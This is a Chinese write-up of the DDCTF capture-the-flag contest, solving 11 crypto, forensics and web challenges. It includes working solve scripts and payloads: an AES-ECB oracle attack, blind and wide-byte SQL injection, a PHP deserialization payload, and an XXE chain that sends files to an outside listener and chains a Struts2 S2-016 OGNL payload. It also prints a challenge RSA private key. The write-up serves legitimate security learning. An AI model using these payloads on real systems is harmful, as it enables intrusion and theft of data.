前言
DDCTF 由 滴滴出行信息安全部 主办,属于个人闯关类型 CTF 比赛
比赛入口地址:http://ddctf.didichuxing.com/
这次比赛共 1601 人签到,个人解出 11 道题,排名第 3
0x01 Misc - 签到题
在比赛平台公告就能找到 Flag
Flag: DDCTF{echo"W3Lc0me_2_DiD1${PAAMAYIM_NEKUDOTAYIM}C7f!"}
0x02 Misc - (╯°□°)╯︵ ┻━┻
题目:d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd
观察字符串,发现每字节的高4位,用16进制表示都位于 a-f 之间。由此猜测是简单的 ASCII 偏移操作。
string = 'd4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd'
flag = ''
for i in range(len(string)/2):
tmp = int(string[2*i:2*i+2], 16)
tmp = tmp & 0b01111111
flag += chr(tmp)
print flag
### That was fast! The flag is: DDCTF{922ab9974a47cd322cf43b50610faea5}
Flag: DDCTF{922ab9974a47cd322cf43b50610faea5}
0x03 Misc - 第四扩展FS
题目是一张图片,用 foremost
分析能得到一个压缩包,压缩包里有一个 file.txt
文件,需要密码才能解压,密码在图片详细信息的备注中可以找到。
根据题目的提示,分析文件中每个字符出现的频次,将频次倒序排列后得到如下结果:
'D': 3950
'C': 1900
'T': 1850
'F': 1800
'{': 1750
'h': 1700
'u': 1650
'a': 1600
'n': 1550
'w': 1500
'e': 1450
'1': 1400
's': 1350
'i': 1300
'k': 1250
'4': 1200
'o': 1150
'!': 1100
'}': 1050
Flag: DDCTF{huanwe1sik4o!}
0x04 Misc - 流量分析
题目是一个数据包,用 Wireshark
打开分析,找到几种可能有用的协议 ftp || ftp-data || smtp || imf || ssl
,依次进行分析。
ftp || ftp-data
协议:有两个 zip
压缩包文件,可以用 追踪流
功能导出,导出后是损坏的文件,而且需要密码才能解压。查看 TCP
流可以看到一堆 TCP Previous segment not captured
,由此推测 TCP
传输过程中出了问题。
根据题目提示:
注意补齐私钥格式
-----BEGIN RSA PRIVATE KEY-----
XXXXXXX
-----END RSA PRIVATE KEY-----
猜测重点应该是解密 Tlsv1.2
得到 http
明文流,解密通常需要 NSS Key Log Format
或者 服务端私钥
文件。
smtp || imf
协议:找到 8 封邮件,邮件内容使用 Quoted-Printable
编码。最后一封邮件的大致内容如下:
MAIL FROM:<[email protected]> SIZE=756962
RCPT TO:<[email protected]>
From: "=?UTF-8?B?5p2o552/?=(=?UTF-8?B?5L+h5oGv5a6J5YWo6YOo?=)" <[email protected]>
To: yangruiyangrui <[email protected]>
小张你好:
你好,请你将密钥安装到服务器上。谢谢
附件里有一张图片 image001.png
,导出得到图片:
MII
开头使我想到 RSA
密钥,用在线 OCR
识别得到图片内的文字,手工检查得到的文字和图片是否一样,最后得到密钥:
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ
LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO
vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB
AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4
QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/
QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN
czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ
ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9
kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN
+04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1
AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH
/5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH
2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----
在 Wireshark 协议首选项的 RSA keys list
设置密钥后,就可以看到 http
明文流
Flag: DDCTF{b78575869625a1df49ffb970b6fedb6d}
0x05 Misc - 安全通信
题目如下:
#!/usr/bin/env python
import sys
import json
from Crypto.Cipher import AES
from Crypto import Random
def get_padding(rawstr):
remainder = len(rawstr) % 16
if remainder != 0:
return 'x00' * (16 - remainder)
return ''
def aes_encrypt(key, plaintext):
plaintext += get_padding(plaintext)
aes = AES.new(key, AES.MODE_ECB)
cipher_text = aes.encrypt(plaintext).encode('hex')
return cipher_text
def generate_hello(key, name, flag):
message = "Connection for mission: {}, your mission's flag is: {}".format(name, flag)
return aes_encrypt(key, message)
def get_input():
return raw_input()
def print_output(message):
print(message)
sys.stdout.flush()
def handle():
print_output("Please enter mission key:")
mission_key = get_input().rstrip()
print_output("Please enter your Agent ID to secure communications:")
agentid = get_input().rstrip()
rnd = Random.new()
session_key = rnd.read(16)
flag = '<secret>'
print_output(generate_hello(session_key, agentid, flag))
while True:
print_output("Please send some messages to be encrypted, 'quit' to exit:")
msg = get_input().rstrip()
if msg == 'quit':
print_output("Bye!")
break
enc = aes_encrypt(session_key, msg)
print_output(enc)
if __name__ == "__main__":
handle()
从 get_padding
和 aes_encrypt
能够看出这是一个 AES ECB 256位分组加密
加密密钥是 16字节 随机生成,ECB
明文分组相同,对应的密文分组也相同。
由此可以通过改变 agentid
的长度,使 flag
中的字符依次落入前面已知的明文分组中,逐字节爆破。
贴出脚本:
from pwn import *
import string
LOG = False
flag = ''
mission_key = '********************************'
agent_id = ''
while True:
r = remote('116.85.48.103', 5002)
r.recvuntil('mission key:')
r.sendline(mission_key)
r.recvuntil('communications:')
agent_id = 'a' * (13+16*8-len(flag))
r.sendline(agent_id)
r.recvline()
enc = r.recvline().rstrip()[32*11:32*12]
if LOG: print 'enc=%s' % enc
for i in string.printable[:-5]:
r.recvuntil('to exit:')
message = 'Connection for mission: %s, your mission's flag is: %s' % (agent_id, flag + i)
r.sendline(message[-16:])
r.recvline()
enc_tmp = r.recvline().rstrip()
if LOG: print 'enc_tmp=%s' % enc_tmp
if enc_tmp == enc:
flag += i
break
r.close()
if flag[-1:] == '}': break
print 'flag=%s' % flag
print 'Flag: %s' % flag
### Flag: DDCTF{87fa2cd38a4259c29ab1af39995be81a}
Flag: DDCTF{87fa2cd38a4259c29ab1af39995be81a}
0x06 Web - 数据库的秘密
访问题目链接,有如下提示,看来做了访客来路白名单。
使用 BurpSuite
修改 Header
插入 X-Forwarded-For: 123.232.23.245
,就能够访问网页:
这是一个表单搜索页面,查看网页源代码,看到提交表单时还做了签名认证,具体实现代码在 static/main.js
里。
SQL
盲注,过滤了一些东西,比如 union
,那么可以逐字节爆破,直接贴脚本:
import time
import hashlib
import requests
import string
LOG = True
web_url = 'http://116.85.43.88:8080/****************/dfe3ia/index.php?sig=%s&time=%s'
def fuzz(text):
key = 'adrefkfweodfsdpiru'
obj_id = ''
obj_title = ''
obj_author = text
obj_date = ''
obj_time = time.time()
sign = ''
sign += 'id=%s' % obj_id
sign += 'title=%s' % obj_title
sign += 'author=%s' % obj_author
sign += 'date=%s' % obj_date
sign += 'time=%s' % obj_time
sign += key
sign = hashlib.sha1(sign).hexdigest()
url = web_url % (sign, obj_time)
payload = {'id': obj_id, 'title': obj_title, 'date': obj_date, 'author': obj_author, 'button': 'search'}
headers = {'X-Forwarded-For': '123.232.23.245'}
try:
r = requests.post(url, params=payload, headers=headers)
r.encoding = 'utf-8'
if 'ctf title1' not in r.text: return True
except:
pass
return False
def fuzz_table_name(offset):
table_name = ''
kw = string.printable[:62] + '-_'
for i in range(1, 256):
finish = 0
for j in kw:
payload = "admin' and strcmp(substring((select table_name from information_schema.tables limit %d,1),%d,1),0x%s)#" % (offset, i, j.encode('hex'))
if fuzz(payload):
table_name += j
if LOG: print 'table_name: %s' % table_name
finish = 1
break
if finish == 0: break
print 'table_name: %s' % table_name
def fuzz_column_name(offset):
column_name = ''
kw = string.printable[:62] + '-_'
for i in range(1, 256):
finish = 0
for j in kw:
payload = "admin' and strcmp(substring((select column_name from information_schema.columns limit %d,1),%d,1),0x%s)#" % (offset, i, j.encode('hex'))
if fuzz(payload):
column_name += j
if LOG: print 'column_name: %s' % column_name
finish = 1
break
if finish == 0: break
print 'column_name: %s' % column_name
def fuzz_field_value(table_name, column_name, offset):
field_value = ''
kw = string.printable
for i in range(1, 256):
finish = 0
for j in kw:
payload = "admin' and strcmp(substring((select %s from %s limit %d,1),%d,1),0x%s)#" % (column_name, table_name, offset, i, j.encode('hex'))
if fuzz(payload):
field_value += j
if LOG: print 'field_value: %s' % field_value
finish = 1
break
if finish == 0: break
print 'field_value: %s' % field_value
'''
for i in range(512):
fuzz_table_name(i)
for i in range(512):
fuzz_column_name(i)
for i in range(512):
fuzz_field_value(i)
'''
### offset: 28 table_name: ctf_key6
### offset: 29 table_name: message
### offset: 315 column_name: secvalue
fuzz_field_value('ctf_key6', 'secvalue', 0)
### field_value: ddctf{ymocqziblblyiefr}
Flag: DDCTF{YMOCQZIBLBLYIEFR}
0x07 Web - 专属链接
题目提示:网站采用 springmvc+mybatis
编写
查看网页源代码,发现两处关键点:
Line 13: <link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon">
Line 287: <!--/flag/testflag/yourflag-->
一个是 Base64
编码路径的 任意文件下载 漏洞,另一个是测试 Flag 是否正确的接口
尝试访问 /flag/testflag/DDCTF%7Bxxxxx%7D
, HTTP 500
报错爆出路径 com.didichuxing.ctf.controller.user.FlagController
根据题目提示,下载 ../../WEB-INF/web.xml
文件,看到下面这个
Line 16-18:
<!--<listener>-->
<!--<listener-class>com.didichuxing.ctf.listener.InitListener</listener-class>-->
<!--</listener>-->
下载 ../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class
文件 和 ../../WEB-INF/classes/com/didichuxing/ctf/controller/user/FlagController.class
,使用 jd-gui
反编译分析。
本题的大致思路,通过 /flag/getflag/
获取加密的 Flag ,然后下载 ../../WEB-INF/classes/sdl.ks
keystore
文件,使用公钥解密。
注:Flag 使用私钥加密,公钥解密。
想要获取加密的 Flag,需要将 Email 经过 SHA256 处理,然后 POST /flag/getflag/****************************************************************
贴一下生成代码:
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.Mac;
public class GenerateEmail {
public static void main(String[] args) {
try {
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
String email = "*******************@didichuxing.com";
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
System.out.println(byte2hex(e));
} catch (Exception e) {
e.printStackTrace();
}
}
public static String byte2hex(byte[] b) {
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++) {
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1) {
hs.append('0');
}
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
}
得到加密的 Flag:
Encrypted flag : 17AA1711B1EDE1058951AEB5C6B66B99656B1219C340DC6B6E8931288EF577FBD5ED14E4734793A079EE56EF3AC792AC78396EFAC2AA6A8C1A4ACD2416045754483853AD5EBC9A09D13638A27DBC6D21314FA61F6408927EAA536BAE5A193AD8FFB65E9C6CC578604BD3E5DA2E33A5AFF8B17AF658E889BAF516239BAD73077C5886163167F0B1799D661F4E1FD84A1A436B760C17D501FF65BF63A45C954216048699D1C4E4E7362712B4316043627566730D648C8E75964C84F5A605230AD051C50AAFEE0C2C60807FD57FBCA896D5B5CFC95A58E2C466FEC2028CB2FFE068FB4D6A65F191156E2AA0B79D2ED4721E5EB68DC9CD2B1280E4DE9A41B51D6FE5
然后用 keystore
文件解密,贴一下解密代码:
import java.io.FileInputStream;
import java.security.KeyStore;
import java.security.cert.Certificate;
import java.security.PublicKey;
import javax.crypto.Cipher;
public class DecryptFlag {
public static void main(String[] args) {
try {
String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream("sdl.ks");
keyStore.load(inputStream, p.toCharArray());
Certificate cert = keyStore.getCertificate("www.didichuxing.com");
PublicKey publicKey = cert.getPublicKey();
Cipher cipher = Cipher.getInstance(publicKey.getAlgorithm());
cipher.init(Cipher.DECRYPT_MODE, publicKey);
String enc_flag = "17AA1711B1EDE1058951AEB5C6B66B99656B1219C340DC6B6E8931288EF577FBD5ED14E4734793A079EE56EF3AC792AC78396EFAC2AA6A8C1A4ACD2416045754483853AD5EBC9A09D13638A27DBC6D21314FA61F6408927EAA536BAE5A193AD8FFB65E9C6CC578604BD3E5DA2E33A5AFF8B17AF658E889BAF516239BAD73077C5886163167F0B1799D661F4E1FD84A1A436B760C17D501FF65BF63A45C954216048699D1C4E4E7362712B4316043627566730D648C8E75964C84F5A605230AD051C50AAFEE0C2C60807FD57FBCA896D5B5CFC95A58E2C466FEC2028CB2FFE068FB4D6A65F191156E2AA0B79D2ED4721E5EB68DC9CD2B1280E4DE9A41B51D6FE5";
byte[] flag = cipher.doFinal(hex2byte(enc_flag));
System.out.println(byte2hex(flag));
} catch (Exception e) {
e.printStackTrace();
}
}
public static String byte2hex(byte[] b) {
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++) {
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1) {
hs.append('0');
}
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
public static byte[] hex2byte(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return d;
}
private static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
}
// 44444354467B393131303134323239393834353437303437357D
Flag: DDCTF{9110142299845470475}
0x08 Web - 注入的奥妙
查看网页源代码,看到关键提示:
Line 107: <!--https://wenku.baidu.com/view/bd29b7b3fd0a79563c1e72f7.html--><div class="page-header">
提示:Big5
编码
想到宽字节注入,试了一下,发现服务器会把 UTF-8
编码转为 Big5
编码。
union
双写绕过
列表名和列名:well/getmessage/a俞%27%20ununionion%20select%201,convert(table_name%20using%20big5),convert(column_name%20using%20big5)%20from%20information_schema.columns%23
TABLE_NAME COLUMN_NAME
message id
message name
message contents
route_rules id
route_rules pattern
route_rules action
route_rules rulepass
列 route_rules
表:well/getmessage/a俞%27%20ununionion%20select%20rulepass,action,hehexx(pattern)%20from%20route_rules%23
RULEPASS ACTION HEX(PATTERN)
cd4229e671a8830debfcbb049a23399c Well#getmessage 6765742A2F3A752F77656C6C2F6765746D6573736167652F3A73
5ed16f9c7c27cb846eaf15c19fe40093 JustTry#self 6765742A2F3A752F6A7573747472792F73656C662F3A73
3228ad498d5a20d1d22d6a4a15fed4d2 JustTry#try 706F73742A2F3A752F6A7573747472792F747279
NULL static/bootstrap/css/backup.zip 7374617469632F626F6F7473747261702F6373732F6261636B75702E637373
下载源码:/static/bootstrap/css/backup.zip
代码审计,在 Justtry.php
处找到一个 PHP 反序列化漏洞。
构造 payload ,POST 到 /justtry/try/
,即可得到 Flag。
payload=O%3a17%3a%22Index%5cHelper%5cTest%22%3a2%3a%7bs%3a9%3a%22user_uuid%22%3bs%3a36%3a%224d3f27d9-172e-48b4-96d9-fa7c002537fd%22%3bs%3a2%3a%22fl%22%3bO%3a17%3a%22Index%5cHelper%5cFlag%22%3a2%3a%7bs%3a3%3a%22sql%22%3bO%3a16%3a%22Index%5cHelper%5cSQL%22%3a2%3a%7bs%3a3%3a%22dbc%22%3bN%3bs%3a3%3a%22pdo%22%3bN%3b%7d%7d%7d
Flag: DDCTF{2512c756f6636cb19462bf83fb0f2f0e75e3187363b391484e6ffcc166f8b4c6}
0x09 Web - mini blockchain
这题是考察区块链安全
get_balance_of_all
是从 max(block_height)
开始遍历到 genesis_block
,计算总 balance
那么可以产生支链,达到“覆盖”旧链的目的。
还有一点,访问 /create_transaction
创建新块,区块难度为 DIFFICULTY = int('00000' + 'f' * 59, 16)
,那么需要计算 block_hash
直至小于难度,这就是 Proof-of-Work
贴上 生成转账区块 和 空区块 的代码:
import hashlib, json, rsa, uuid
import string, random
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0'*64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])
def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
KEY_LEN = 20
def base_str():
return (string.letters+string.digits)
def key_gen():
keylist = [random.choice(base_str()) for i in range(KEY_LEN)]
return ("".join(keylist))
difficulty = int('00000' + 'f' * 59, 16)
def create_transfer_block(output_address, amount, signature, prev_block_hash):
tmp_privkey = gen_addr_key_pair()[1]
handout = create_output_utxo(output_address, amount)
transferred = create_tx([str(uuid.uuid4())], [handout], tmp_privkey)
transferred['signature'][0] = signature
while True:
new_block = create_block(prev_hash, key_gen(), [transferred])
block_hash = int(new_block['hash'], 16)
if block_hash <= difficulty:
print json.dumps(new_block)
break
def create_empty_block(prev_block_hash):
while True:
new_block = create_block(prev_block, key_gen(), [])
block_hash = int(new_block['hash'], 16)
if block_hash <= difficulty:
print json.dumps(new_block)
break
#my_address, my_privkey = gen_addr_key_pair()
#create_transfer_block(output_address, amount, signature, prev_block_hash)
#create_empty_block(prev_block_hash)
Flag: DDCTF{B1OcKch@iN_15_FuN_e0faaf35891}
0x0A Web - 我的博客
根据题目提示,下载源代码:www.tar.gz
审计代码,发现跟之前玩 LCTF 2017
的题目有点相似,那道题我还有些印象。
不过这道题改动了,需要通过 csrf
生成的随机数,预测后面生成的随机字符串。
直接贴计算和注册的脚本:
import requests
import random, string
session = requests.session()
url = 'http://116.85.39.110:5032/********************************/register.php'
rand = []
def getRand():
r = session.get(url)
r.encoding = 'utf-8'
return int(r.text.split('csrf" value="')[1].split('"')[0])
def guessRand(i):
return (rand[i-3] + rand[i-31]) % (2 ** 31)
PHP_RAND_MAX = 2147483647
def RAND_RANGE(n, _min, _max, tmax):
return _min + int((_max - _min + 1.0) * (n / (tmax + 1.0)))
def guessStr(i):
temp = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
n_left = len(temp) - 1
while n_left > 0:
temp_rand = RAND_RANGE(rand[i], 0, n_left, PHP_RAND_MAX)
if temp_rand != n_left:
temp[n_left], temp[temp_rand] = temp[temp_rand], temp[n_left]
i += 1
n_left -= 1
return ''.join(temp)
def register(csrf, username, password, code):
payload = {'csrf': csrf, 'username': username, 'password': password, 'code': code}
r = session.post(url, data=payload)
r.encoding = 'utf-8'
return r.text
def random_str(i):
return ''.join(random.choice(string.ascii_letters + string.digits) for x in range(i))
for i in range(32):
rand.append(getRand())
for i in range(32, 128):
rand.append(guessRand(i))
csrf = str(rand[31])
username = random_str(8)
password = random_str(16)
code = 'admin###%s' % guessStr(32)[:32]
register(csrf, username, password, code)
print 'username: %s' % username
print 'password: %s' % password
登录进去后,就是一个 sprintf 单引号逃逸
漏洞。
index.php?id=1&title=Welcome%1$%27%20union%20select%201,2,f14g%20from%20%60key%60%20limit%200,1%23
Flag: DDCTF{2711a857f9c6df15661c5ab6f8d4cff3}
0x0B Web - 喝杯Java冷静下
题目环境:Quick4j
查看网页源代码,找到登录的用户名和密码(admin: admin_password_2333_caicaikan)
Line 87: <!-- YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu -->
登录进去发现跟 Web2 差不多,也是 任意文件下载 漏洞。
对比 Github 上 Quick4j 的源代码文件路径,把所有代码文件对应的下载下来,与原来的代码进行比较。
找到关键文件,进行反编译:
/rest/user/getInfomation?filename=WEB-INF/classes/com/eliteams/quick4j/web/security/SecurityRealm.class
if ((username.equals("superadmin_hahaha_2333")) && (password.hashCode() == 0))
{
String wonderful = "you are wonderful,boy~";
System.err.println(wonderful);
}
找到超级管理员用户名和密码(superadmin_hahaha_2333: f5a5a608)
/rest/user/getInfomation?filename=WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class
@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"super_admin"})
这里以超级管理员身份,可以实现 XML 外部实体注入 漏洞。
但是这里的注入没有回显,那只能用反弹实现回显了。
服务器部署 1.xml
:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://222.125.86.10:23946/%file;'>">
服务器监听端口:
nc -l -p 23946
Payload 示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "">
<!ENTITY % dtd SYSTEM "http://222.125.86.10/1.xml">
%dtd; %all;
]>
<value>&send;</value>
读取 /Flag/hint.txt
文件:
/rest/user/nicaicaikan_url_23333_secret?xmlData=%3c%3fxml+version%3d%221.0%22+encoding%3d%22utf-8%22%3f%3e%3c!DOCTYPE+data+%5b%3c!ENTITY+%25+file+SYSTEM+%22file%3a%2f%2f%2fflag%2fhint.txt%22%3e%3c!ENTITY+%25+dtd+SYSTEM+%22http%3a%2f%2f222.125.86.10%2f1.xml%22%3e%25dtd%3b+%25all%3b%5d%3e%3cvalue%3e%26send%3b%3c%2fvalue%3e
Flag in intranet tomcat_2 server 8080 port.
访问 http://tomcat_2:8080/
:
/rest/user/nicaicaikan_url_23333_secret?xmlData=%3c%3fxml+version%3d%221.0%22+encoding%3d%22utf-8%22%3f%3e%3c!DOCTYPE+data+%5b%3c!ENTITY+%25+file+SYSTEM+%22http%3a%2f%2ftomcat_2%3a8080%2f%22%3e%3c!ENTITY+%25+dtd+SYSTEM+%22http%3a%2f%2f222.125.86.10%2f1.xml%22%3e%25dtd%3b+%25all%3b%5d%3e%3cvalue%3e%26send%3b%3c%2fvalue%3e
try to visit hello.action.
访问 http://tomcat_2:8080/hello.action
:
/rest/user/nicaicaikan_url_23333_secret?xmlData=%3c%3fxml+version%3d%221.0%22+encoding%3d%22utf-8%22%3f%3e%3c!DOCTYPE+data+%5b%3c!ENTITY+%25+file+SYSTEM+%22http%3a%2f%2ftomcat_2%3a8080%2fhello.action%22%3e%3c!ENTITY+%25+dtd+SYSTEM+%22http%3a%2f%2f222.125.86.10%2f1.xml%22%3e%25dtd%3b+%25all%3b%5d%3e%3cvalue%3e%26send%3b%3c%2fvalue%3e
This is Struts2 Demo APP, try to read /flag/flag.txt.
根据题目提示:第二层关卡应用版本号为 2.3.1
上网查了一下 Struts2 2.3.1
的 CVE
,发现 Struts2 S2-016
可用
直接贴上最终 Payload:
/rest/user/nicaicaikan_url_23333_secret?xmlData=%3c%3fxml+version%3d%221.0%22+encoding%3d%22utf-8%22%3f%3e%3c!DOCTYPE+data+%5b%3c!ENTITY+%25+file+SYSTEM+%22http%3a%2f%2ftomcat_2%3a8080%2fhello.action%3fredirect%253a%2524%257b%2523a%253dnew%2bjava.io.FileInputStream(%2527%252fflag%252fflag.txt%2527)%252c%2523b%253dnew%2bjava.io.InputStreamReader(%2523a)%252c%2523c%253dnew%2bjava.io.BufferedReader(%2523b)%252c%2523d%253dnew%2bchar%255b60%255d%252c%2523c.read(%2523d)%252c%2523matt%253d%2523context.get(%2527com.opensymphony.xwork2.dispatcher.HttpServletResponse%2527).getWriter()%252c%2523matt.println(%2523d)%252c%2523matt.flush()%252c%2523matt.close()%257d%22%3e%3c!ENTITY+%25+dtd+SYSTEM+%22http%3a%2f%2f222.125.86.10%2f1.xml%22%3e%25dtd%3b+%25all%3b%5d%3e%3cvalue%3e%26send%3b%3c%2fvalue%3e
Flag: DDCTF{You_Got_it_WonDe2fUl_Man_ha2333_CQjXiolS2jqUbYIbtrOb}
Source: impakho.com | Author:impakho
Socks代理实战·2/04 Socks代理实战-frp首先你要有个VPS(frps服务器) 准备好穿透工具frp 先这样,后那些,再这样,最后在那样 —— 懂了么,怎么听不懂呢,再说一遍。先这样,后那样,再这样,最后在那样懂了吧。怎么还是不懂。 说细点 一,…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论